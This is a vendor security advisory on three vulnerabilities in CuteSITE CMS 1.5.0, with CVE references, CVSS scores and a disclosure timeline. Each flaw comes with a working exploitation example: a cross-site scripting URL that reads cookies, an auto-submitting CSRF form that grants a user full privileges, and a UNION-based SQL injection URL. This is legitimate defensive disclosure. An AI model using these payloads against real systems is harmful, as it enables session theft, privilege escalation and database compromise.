Stay in Touch

Application security insights and invitations to exclusive events in your inbox


Your data will stay confidential Private and Confidential

Multiple Vulnerabilities in CuteSITE CMS

Advisory ID:HTB22395
Product:CuteSITE CMS
Vendor:AMT Company
Vulnerable Versions:1.5.0 and probably prior
Tested Version:1.5.0
Advisory Publication:May 20, 2010 [without technical details]
Vendor Notification:May 20, 2010
Public Disclosure:June 3, 2010
Vulnerability Type:Cross-Site Scripting [CWE-79]
Cross-Site Request Forgery [CWE-352]
SQL Injection [CWE-89]
Risk Level:Medium
CVSSv2 Base Scores:4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P)
6.5 (AV:N/AC:L/Au:S/C:P/I:P/A:P)
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered three vulnerabilities in CuteSITE CMS which could be exploited to perform cross-site scripting and cross-site request forgery attacks and execute arbitrary SQL commands in application`s database.

1) Cross-site scripting (XSS) vulnerability in CuteSITE CMS: CVE-2010-5025
The vulnerability exists due to input sanitation error in the "fld_path" parameter in manage/main.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Exploitation example:
http://host/manage/main.php?fld_path=XXX%3Cscript%3Ealert%28document.cookie% 29%3C/script%3E

2) Cross-site request forgery (CSRF) in CuteSITE CMS
The vulnerability exists due to insufficient validation of the request origin in manage/add_user.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and assign arbitrary privileges to registered users.
Exploitation example:
<FORM action="http://host/manage/add_user.php" method="POST" name="main">
<input type="hidden" name="fld_priv" value="W">
<input type="hidden" name="tpl_priv" value="W">
<input type="hidden" name="img_priv" value="W">
<input type="hidden" name="str_priv" value="W">
<input type="hidden" name="txt_priv" value="W">
<input type="hidden" name="var_priv" value="W">
<input type="hidden" name="snp_priv" value="W">
<input type="hidden" name="usr_priv" value="W">
<input type="hidden" name="hst_priv" value="W">
<input type="hidden" name="plg_priv" value="W">
<INPUT type="hidden" name="user_id" value="33">
<INPUT type="hidden" name="user_login" value="userlogin">
<INPUT type="hidden" name="action" value="Modify">
</FORM>
<script>
document.main.submit()
</script>


3) SQL injection vulnerability in CuteSITE CMS: CVE-2010-5024
The vulnerability exists due to input sanitation error in the "user_id" parameter in manage/add_user.php. A remote attacker can send a specially crafted HTTP GET request to the vulnerable script and execute arbitrary SQL commands in application`s database. Successful exploitation may allow an attacker to read, modify, add or delete arbitrary data in the database but requires "Read" permissions for "Users".
Exploitation example:
http://host/manage/add_user.php?user_id=-1+union+select+1,2,3,4,5,6,7,8,9,10 ,11,12,13,user%28%29,15,16


ImmuniWeb® On-Demand Web Application Penetration Test


Solution:
Currently we are not aware of any vendor-supplied patches or other solutions. The vendor was contacted in accordance to our Vendor Notification Policy but we didn't get any answer or feedback.


References:
[1] High-Tech Bridge Advisory HTB22395 - https://www.htbridge.com/advisory/HTB22395 - Multiple Vulnerabilities in CuteSITE CMS
[2] CuteSITE CMS - cutesite.ru - CuteSITE CMS is a simple content management.system.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
User Comments
Add Comment


Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.
ImmuniWeb
Technology
Products
Trial